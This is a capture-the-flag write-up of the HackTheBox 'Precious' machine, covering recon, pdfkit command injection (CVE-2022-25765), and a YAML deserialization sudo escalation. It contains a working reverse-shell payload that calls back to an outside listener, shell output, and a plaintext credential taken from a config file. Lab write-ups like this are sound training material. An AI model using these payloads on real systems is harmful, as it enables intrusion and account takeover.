Post

Precious

Precious

Reconnaissance

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -PN -sC -sV -oN precious 10.10.11.189
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 13:58 PKT
Nmap scan report for 10.10.11.189
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.86 seconds

On port 80, we see that the web server is running nginx. The server redirects us to http://precious.htb/. Let’s add this to our /etc/hosts file:

Web Enumeration

We are greeted by a page allowing us to convert web page to pdf.

alt text

We will intercept the request using Burp Suite to see how the pdf is being generated. But first let’s fingerprint the web server.

Fingerprinting

1
2
3
whatweb 10.10.11.189
http://10.10.11.189 [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.189], RedirectLocation[http://precious.htb/], Title[302 Found], nginx[1.18.0]
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]

We require a website to convert to pdf. Usually the boxes aren’t configured to allow external requests, so we will use a local web server. Let’s set up a simple HTTP server using Python:

1
python3 -m http.server 80

alt text

We can see that wkhtmltopdf 0.12.6 is being used to convert the web page to pdf.

It is vulnerable to SSRF.

Also on further inspecting the response during PDF generation we discovered that it is generated using /Creator (Generated by pdfkit v0.8.6). Which is also vulnerable. It is vulnerable to command injection.

Foothold

SSRF

wkhtmlTOpdf 0.12.6 is vulnerable to SSRF which allows an attacker to get initial access into the target’s system by injecting iframe tag with initial asset IP address on it’s source. This allows the attacker to takeover the whole infrastructure by accessing their internal assets.

CVE-2022-35583

Command Injection

We will go with this route.

CVE-2022-25765

If we try to pass

1
http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.30",1234))'`

as the URL. The server will actually process it and you will get a reverse shell.

Reverse Shell as Ruby

1
2
3
4
5
6
7
nc -lvnp 1234          
listening on [any] 1234 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.189] 54354
whoami
ruby
python3 -c "import pty;pty.spawn('/bin/bash');"
ruby@precious:/var/www/pdfapp$ 

We found the creds for henry under ruby’s home directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ruby@precious:/var/www$ ls -la /home/ruby/
total 28
drwxr-xr-x 4 ruby ruby 4096 Aug 13 04:39 .
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Aug 13 04:39 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:/var/www$ cd ~
ruby@precious:~$ ls -la .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
drwxr-xr-x 4 ruby ruby 4096 Aug 13 04:39 ..
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ cat config 
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Privilege Escalation

Henry

We simply SSH as henry. We are allowed to do the following with sudo:

1
2
3
4
5
6
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

We can run ruby as sudo on the script /opt/update_dependencies.rb. Let’s check it out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
henry@precious:~$ cat /opt/update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

henry@precious:/opt$ cat sample/dependencies.yml 
yaml: 0.1.1
pdfkit: 0.8.6

The script compares the installed gems with the ones specified in dependencies.yml. But neither of the scripts are writeable.

update_dependencies.rb, calls YAML.load on a dependencies.yml file from the current working directory without validation. YAML.load in Ruby will deserialize arbitrary objects, and if those objects belong to classes with methods that run system commands, the commands execute during or right after deserialization.

dependencies.yml

1
2
3
4
nc -lvnp 4444          
listening on [any] 4444 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.189] 50084
root@precious:

This post is licensed under CC BY 4.0 by the author.